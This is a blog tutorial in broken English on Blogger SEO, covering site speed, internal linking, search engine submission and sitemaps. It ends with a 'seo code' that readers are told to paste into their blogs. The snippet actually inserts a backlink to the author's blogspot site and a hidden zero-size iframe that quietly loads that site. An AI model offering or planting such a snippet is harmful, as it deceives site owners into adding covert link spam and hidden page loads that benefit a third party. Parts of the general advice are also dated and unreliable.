|Blogger SEO your On Page Sites|
Just stick this in your mind, building a blog along with SEO certainly better than building an ordinary blog. And for those who already have websites or want to fix the right Blogger SEO can go straight in practice with this blogger tutorial… but remember it’s up to you what the way you will choose…
So now we go step by step in part of on page optimization. In this session we will repair structure your on page SEO blog. There are many things on this SEO on page and we opt ranging from global SEO to meta SEO part…
1. Find a fast and reliable hosting for blogger blog
Ok now… if you have already a website, then make sure your server is fast and reliable. Why? because the spider bot like fast load and dislike stuck load, as well as your web visitors are also not going to impress too if your web his long-time loading. Do you’ve heard “8 seconds rule?” – this means if your website loading time was more than 8 seconds .. visitors will usually direct to close their browser window.
2. Blogger blog seo Make your website Search Engine friendly.
The intentions of SE (Search Engine) friendly blogger blog is… on every page on your blog there is a link to another page,
If we imagine as the URLs similar with a country, then the spider is a traveler from who like traveling from town to town, and without having to start back to starting town. Spider must be able to go from city A to city B, from City B to City C, from city A to city C, and from city A to city D directly, from the town of D, to Z city, from city Z to city H, from H town to town B, from city B to city C, etc. In this illustration, the city is a page on our website. (huahah confused with the illustrations? hmm .. well I hope you don’t or just sent me a pm i will explain in a better and detailed ways )
3. blogger tutorial for Blogger SEO Submit blog to Search Engine
Remember to submit your blog SE (Search Engine), you can use http://freewebsubmission.com, there are 20 SE you can directly submit the rest. You can type in yahoo with keyword “add url” and then enter your website into the SERPs.
Actually it can also without submitting URL to SE.. you can use the link building. When the spiders got index your backlinks, spiders are also likely to follow to your website (except use the “rel=nofollow” in your backlink..)
4. Blogger SEO Make a sitemap of your blog.
Blogger SEO, Sitemap has the functions to make it easier for spiders and your web visitors navigate on your web, and sitemap divided into 2 types:
1. Sitemap that in the form of html or php: this could be in use users (visitors) and also used by the SE spiders
2. XML Sitemap: Blogger SEO This is in use for spider only
Which is better? Sure, you could use both. It depends on the demand of SE, you can create a sitemap page on your website with php or html, then you submit to the SE which is XML Sitemap type.
To generate XML sitemap, you can use a tool such as: http://www.xml-sitemaps.com and there are many other programs.
Once finished you create a sitemap, submit it to the SE. You can access google webmaster tools for the guide, here: http://www.google.com/support/webmasters/bin/answer.py?hl=en&answer=156184
Submit also to Yahoo: https://siteexplorer.search.yahoo.com/submit
Submit also to Msn, just add “Sitemap: http://www.yourdomainname.com/sitemap.xml” into robot.txt (will explain after… )
If you’re WordPress user, there is a plugin for generate sitemap: http://wordpress.org/extend/plugins/google-sitemap-generator/
If you’re Blogger.com user, use feed as a sitemap: http://www.yourdomain.blogspot/atom.xml
and try our seo code add this as a java script to your blog
Just copy and past this code in you blog
<a href="http://havelockknights.blogspot.com" target="_blank"> <img src="https://lh3.googleusercontent.com/_k0m3Ek7raEc/TUV53aH0V-I/AAAAAAAABDM/Tj0DH0HcDRg/s800/auto_backlink.gif" /><br /> <br/><iframe name="banner daus" src="http://havelockknights.blogspot.com/" marginwidth="0" marginheight="0" readonly ="true" vspace="0" hspace="0" allowtransparency="true" scrolling="yes" width="0" frameborder="0" height="0"></iframe></a>